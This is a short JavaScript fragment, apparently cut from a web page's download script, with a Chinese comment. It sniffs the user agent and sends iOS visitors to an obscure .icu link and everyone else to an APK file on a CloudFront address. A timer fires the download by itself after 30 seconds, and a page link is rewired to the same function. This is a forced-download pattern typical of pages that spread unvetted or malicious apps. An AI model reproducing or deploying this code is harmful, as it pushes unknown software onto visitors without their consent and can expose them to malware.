if (!!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/)) { window.location.href = 'https://22bc0.fxhwrzs.icu/i217p'; } else { window.location.href = 'https://d32qwx45axc49.cloudfront.net/kygj172.apk'; } } setTimeout("download()", 30000); // 设置30秒后自动下载 $('.app_download').attr('href', 'javascript:download();');